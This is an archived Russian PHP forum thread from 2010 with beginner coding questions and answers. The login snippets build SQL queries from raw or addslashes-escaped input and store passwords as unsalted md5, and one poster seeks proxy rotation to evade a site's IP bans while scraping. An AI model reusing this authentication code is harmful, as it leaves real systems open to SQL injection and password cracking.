Подскажите скрипт, который не позволяет нажать на ссылку пока не нажмешь по другой ссылке. Пример: ссылка на скачивание "Скачать", когда на неё нажимаешь, появляется окно в котором нужно обязательно нажать на ссылку, тогда ссылка "Скачать" начинает перенаправлять куда нужно. Вот как то так)
Это JS. Делаешь кнопку disabled, а в событии onClick ссылки делаешь кнопку enabled :)

qW1zer
30.01.2010, 16:42
Banderos_Russia
Вот пример с кнопкой,если надо примерно так же и с ссылкой будет:

<input type="checkbox" name="test" onclick="document.form.submit.disabled=false;" value="0">
<input type="submit" name="submit" disabled value="Example" />


-=-
Мне тоже нужна помощь,в общем делаю авторизацию/регистрацию
С регистрацией,все на ура,но вот с авторизацией проблема в частности с тем,что не получается проверить валидность пароля
Вот такой у меня код:

<?php
include("uconfig.php");
if(!isset($_POST['usubmit']))
{
$ustatus='<font color="red">Форма входа пользователей</font>';
}
else
{
$login=$_POST['ulogin'];
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = $login");
$users = mysql_num_rows($result);
while($row = mysql_fetch_array($result)) {
$mpassword=$row['password'];
echo $mpassword;
}
}
?>

В uconfig.php подключение к mysql и еще мелкие опции

qW1zer
30.01.2010, 20:22
Может кто-нибудь сможет подкинуть свою часть авторизации,именно выдирание из мускула и сравнение

chekist
30.01.2010, 23:23
<?php
include("uconfig.php");
if(!isset($_POST['usubmit']))
{
$ustatus='<font color="red">Форма входа пользователей</font>';
}
else
{
$login=addslashes($_POST['ulogin']);
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = '$login'");
//$users = mysql_num_rows($result); нафига ?
while($row = mysql_fetch_array($result)) {
if($password === $row['password']){
echo 'true';
}
}
}







<?php
include("uconfig.php");
if(!isset($_POST['usubmit'])){
$ustatus='<font color="red">Форма входа пользователей</font>';
}else{
$login=addslashes($_POST['ulogin']);
$password=md5($_POST['upassword']);
$result = mysql_query("SELECT * FROM user WHERE login = '$login' and password = '$password'");
if($row = mysql_fetch_array($result)){
echo 'true';
}else{
echo 'false';
}
}
?>

Jazz
31.01.2010, 08:48
$file = "222
333
444
555
<111 safgsdfhf sghsdfgjdfjjf";

if (preg_match('/^<111(.*)/', $file, $match))
{echo $match[0];}
else{не работает(((}

нужно вывести твлько строку(всю) которая начинается с 111
но выводит"не работает"...поскажите плиз в чём дело...

GlooK
31.01.2010, 08:54
$file = "222
333
444
555
<111 safgsdfhf sghsdfgjdfjjf";

if (preg_match('/^<111(.*)/', $file, $match))
{echo $match[0];}
else{не работает(((}

нужно вывести твлько строку(всю) которая начинается с 111
но выводит"не работает"...поскажите плиз в чём дело...
попробуй так:

<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";

if (preg_match('/^\<111(.*?)$/im', $file, $match))
{echo $match[0];} else {echo 'не работает(((';}
?>

Jazz
31.01.2010, 09:32
GlooK я плохо объяснил((
в переменную $file приходит куча разных строк
надо записать в переменную строку ,которая начинается с шаблона например 111(111 будет заменяться переменной и изменяться).

GlooK
31.01.2010, 09:43
GlooK я плохо объяснил((
в переменную $file приходит куча разных строк
надо записать в переменную строку ,которая начинается с шаблона например 111(111 будет заменяться переменной и изменяться).
Так?

<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";
$template = "<111";
$replace = "after template";
$result = preg_replace('/^'.preg_quote($template).'(.*?)$/im', preg_quote($replace), $file);
echo $result;
?>

или так:)

<?php
$file = "222\n333\n444\n555\n<111 safgsdfhf sghsdfgjdfjjf";
$template = "<111";

if (preg_match('/^'.preg_quote($template).'(.*?)$/im', $file, $match))
{echo $match[0];} else {echo 'не работает(((';}
?>

Jazz
31.01.2010, 10:00
GlooK блин...дико извеняюсь...первый вариант подходит...не так понял тебя)

1 - href=" ./111/22/qwert.php (приходит такой и изменять нельзя)
2 - href="http://rrr.ru/111/22/qwert.php"
как из первого сделать второй?т.е. вместо . подставить http://rrr.ru ?

Nosfer
31.01.2010, 10:10
Нужна помощь с рандомным перебором проксей, вот исхордный код




$match='#https?://([^/\s]+)\S+#i';
preg_match_all($match, $_POST['urls'], $matches);
$matches = array_values(array_combine($matches[1],$matches[0]));

$mh = curl_multi_init(); //Create multithread
$handles = array();
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"; // set user agent


//File with proxies to array
$proxyarr = file('http://localhost/checkproxy/proxies.txt', FILE_IGNORE_NEW_LINES);

//echo $proxyarr[array_rand($proxyarr, 1)]."<br>";


for ($i=0; $i<sizeof($matches);$i++) {
//Create URL
$request = 'someurl';
// create a new single curl handle
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 600);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
// add this handle to the multi handle
curl_multi_add_handle($mh,$ch);
// put the handles in an array to loop this later on
$handles[] = $ch;
}
// execute the multi handle
$running=null;
do {
curl_multi_exec($mh,$running);
// added a usleep for 0.25 seconds to reduce load
usleep (25000);
} while ($running > 0);
// get the content of the urls (if there is any)
for($i=0;$i<count($handles);$i++) {
$output = unserialize(curl_multi_getcontent($handles[$i]));

//ban check
if (!isset($output[ResultSet][totalResultsAvailable])) {
echo "<b>BAN</b><br>";
echo "$request";
exit(0);
}

$result[$matches[$i]]=$output[ResultSet][totalResultsAvailable];
curl_multi_remove_handle($mh,$handles[$i]);
}




Скрипт ходит по http и дергает URL, который отдает ему массив.
Но сам ресурс имеет свойство периодически банить по IP, для этого и нужны прокси.
Я бы с удовольствием воткнул в цикл for($i=0;$i<count($handles);$i++) нечто вроде curl_setopt($ch, CURLOPT_PROXY, $proxyarr[array_rand($proxyarr, 1)]); и у меня даеже есть проверка на бан if (!isset($output[ResultSet][totalResultsAvailable])) но как сделать так, чтобы в случае бана он сделал для этого же урл новую итерацию забора контента, но уже с новой рандомной проксей из того же массива $proxyarr? Стоит также учесть тот момент, что на следующей прокси результата тоже может не быть и прокси надо перебирать до победного.

Я сам вижу лишь вариант в добавлением неуспешных элементов(урлов) в спец массив и повторным прогоном их с рандомными проксям, но решение кривовато.

Ребят, скажите плс в каком направлении направить поток мыслей :)

GlooK
31.01.2010, 10:11
GlooK блин...дико извеняюсь...первый вариант подходит...не так понял тебя)

1 - href=" ./111/22/qwert.php (приходит такой и изменять нельзя)
2 - href="http://rrr.ru/111/22/qwert.php"
как из первого сделать второй?т.е. вместо . подставить http://rrr.ru ?
Ну что ж... попробуем так :)

<?php
$file = '222\n333\n444\n555\n<111 href="./111/22/qwert.php" это ссылко :)';
$replace = 'href="http://rrr.ru';
$result = preg_replace('/href="\.(.*?)"/im', $replace.'\\1"', $file);
echo $result;
?>

GlooK
31.01.2010, 10:15
Ребят, скажите плс в каком направлении направить поток мыслей :)
Думаю направить в сторону:

while(true) {
//...
//...
if ($stop) {break;}
}

Jazz
31.01.2010, 12:18
GlooK спасибо!!очень помог...всё работает!жаль плюсонуть не могу(плюсовалка не выросла)))

steps
31.01.2010, 12:34
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста

heretic1990
31.01.2010, 13:10
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста
как же ты собираешься что то делать если не знаешь основ?

Батхед
31.01.2010, 14:30
Наверное самый глупый вопрос :)
я еще не чего не умею... но хочу научится и прежде чем изучать ПХП я хочу для начало создать пару браузер игр из уже готовых скриптом и попробовать с них ,но незнаю как их загрузить на хост , я создал базу ,скачал ТОТАЛ КОМАНДЕР , только не знаю как канектить ее на домен ... помогите пожалуйста
регистрируешь хостинг
тебе дают права на фтп
потом через файлзилу(или другой фтп клиент) заходишь и перекидываешь на хост файлы ;)

qW1zer
31.01.2010, 21:51
Подскажите как можно отсортировать
массив такого вида:

0
4
2
6
9
16
10
30
2
14
12
14
11
9
15
1
53
2
21
20
21
16
9
0
21
26
3
12
0
34
3

пробовал uksort не получилось
и еще есть проблема
как 5194 данное число,обозначающее время клиента на сервере привести в нормальный вид времени: HH:MM:SS

Gifts
31.01.2010, 22:06
qW1zer 1) natsort()
2) Что является отсчетным периодом для времени 5194?

qW1zer
31.01.2010, 22:29
Gifts
Спасибо,но вопрос слегка не до понял
'onlinetime' => (int)$this->_getfloat()
Принцип такой клиент подключается и пошел отсчет времени которое он находится на сервере
Есть ли способы преобразовать это в нормальный формат времени?

Gifts
31.01.2010, 22:41
qW1zer echo date('H:i:s', 5194);